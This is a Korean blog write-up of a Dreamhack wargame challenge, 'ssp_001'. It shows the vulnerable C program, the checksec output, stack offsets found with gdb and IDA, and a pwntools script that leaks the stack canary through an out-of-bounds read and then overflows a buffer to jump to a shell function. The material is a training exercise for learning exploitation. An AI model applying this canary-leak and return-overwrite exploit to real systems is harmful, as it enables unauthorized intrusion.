https://dreamhack.io/wargame/challenges/33
로그인 | Dreamhack
페르소나 굿즈 이벤트 기간 한정 구독 혜택 지금 가입하면 연간 플랜을 최대 75% 할인 된 가격으로!
dreamhack.io
1. 소스코드 확인
#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>
void alarm_handler() {
puts("TIME OUT");
exit(-1);
}
void initialize() {
setvbuf(stdin, NULL, _IONBF, 0);
setvbuf(stdout, NULL, _IONBF, 0);
signal(SIGALRM, alarm_handler);
alarm(30);
}
void get_shell() {
system("/bin/sh");
}
void print_box(unsigned char *box, int idx) {
printf("Element of index %d is : %02x\n", idx, box[idx]);
}
void menu() {
puts("[F]ill the box");
puts("[P]rint the box");
puts("[E]xit");
printf("> ");
}
int main(int argc, char *argv[]) {
unsigned char box[0x40] = {};
char name[0x40] = {};
char select[2] = {};
int idx = 0, name_len = 0;
initialize();
while(1) {
menu();
read(0, select, 2);
switch( select[0] ) {
case 'F':
printf("box input : ");
read(0, box, sizeof(box));
break;
case 'P':
printf("Element index : ");
scanf("%d", &idx);
print_box(box, idx);
break;
case 'E':
printf("Name Size : ");
scanf("%d", &name_len);
printf("Name : ");
read(0, name, name_len);
return 0;
default:
break;
}
}
}
- 소스코드 확인 결과 취약점은 두속으로 확인된다.
- case P 부분에 scanf() 함수로 box의 크기를 제한 없이 불러올 수 있음
- case E 부분에 scanf(), read() 함수로 name의 길이를 임의로 설정할 수 있어 name버퍼를 bof 시킬 수 있음
- get_shell()함수가 있는것으로 보아 해당 함수를 이용하여 문제를 푸는것으로 확인된다.
2. 보안기법 확인
Ubuntu 16.04
Arch: i386-32-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x8048000)
- checksec 명령어로 확인해본 결과 NXbit가 켜져있고 canary가 확인되었다.
3. 주소 구하기

- gdb를 이용하여 get_shell()함수의 주소를 쉽게 얻어낼 수 있었다.

- gdb를 이용하여 canary의 위치가 ebp -0x8에 위치함을 확인했다.

- IDA를 이용해서 각 변수들의 스택상 위치를 쉽게 파악할 수 있다
- idx : ebp -0x94
- name_len : ebp -0x90
- select : ebp -0x8A
- box : ebp -0x88
- name : ebp -0x48
- canary: ebp -0x8

- 또한 에필로그를 확인해본 결과 edi값이 ebp -0x4 위치에 존재함이 확인되었다.

- 그렇다면 프로그램 시작 시 P 를 눌러 box의 128 부터 131번째의 인덱스에 있는 canary를 유출시키고
- E 를 줄러 name을 bof 시켜 유출된 카나리 값을 올바르게 넣고 retrun부부에 get_shell 함수의 주소를 넣으면 성공할 것이라 예상해본다.
4. payload 작성
from pwn import *
p = process('./ssp_001')
get_shell_addr = 0x80486b9
canary = b''
// canary 구하기
for i in range(131, 127, -1):
p.sendlineafter(b'> ',b'P')
p.sendlineafter(b'Element index :', str(i))
canary += p.recvuntil('\n')[-3:-1]
canary = int(canary,16)
pay = b'a'*0x40 // name
pay += p32(canary)
pay +=b'a'*4 // edi
pay +=b'a'*4 // sfp
pay += p32(get_shell_addr)
p.recvuntil('> ')
p.sendline(b'E')
p.recvuntil('Name Size : ')
p.sendline(b'1000')
p.recvuntil('Name : ')
p.sendline(pay)
p.interactive()
- canary는 little endian으로 저장되어 있기 떄문데 131부터 128까지 거꾸로 꺼내주었다.
5. 결과

굿~
'워게임' 카테고리의 다른 글
| [시스템 해킹] basic_exploitation_002 write up (0) | 2026.02.07 |
|---|---|
| [시스템 해킹] Return to Library write-up (0) | 2026.02.06 |
| [시스템 해킹] basic_exploitation_003 write-up (0) | 2026.02.04 |
| [시스템 해킹] out_of_bound write-up (0) | 2026.02.04 |
| [시스템 해킹] shell_bof write-up (0) | 2026.01.18 |